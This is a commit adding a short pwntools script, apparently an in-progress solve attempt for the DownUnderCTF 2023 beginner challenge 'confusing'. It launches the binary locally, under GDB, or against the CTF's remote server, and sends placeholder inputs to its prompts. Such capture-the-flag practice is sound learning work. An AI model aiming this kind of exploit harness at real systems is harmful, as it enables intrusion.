downloaded challenges

didnt know they would publish everything

DownUnderCTF 2023/beginner/confusing/confusing.py

@@ -0,0 +1,35 @@
+from pwn import *
+import os
+
+os.environ["PWNLIB_DEBUG"] = "1"
+
+gs = '''
+unset env LINES
+unset env COLUMNS
+set follow-fork-mode child
+# br *main+78 # first scanf
+br *main+160
+br *main+170
+br *main+220
+c
+'''
+
+elf = ELF(os.getcwd()+"/confusing")
+
+def start():
+    if args.GDB:
+        return gdb.debug(elf.path, gs)
+    if args.REMOTE:
+        return remote("2023.ductf.dev", 30024)
+    else:
+        return process(elf.path)
+
+while True:
+    io = start()
+    print(io.recvuntil(b"Give me d: "))
+    io.sendline(b"7")
+    print(io.recvuntil(b"Give me s: "))
+    io.sendline(b"FLAG")# + b"\xff"*4)
+    print(io.recvuntil(b"Give me f: "))
+    io.sendline(b"2")
+    io.interactive()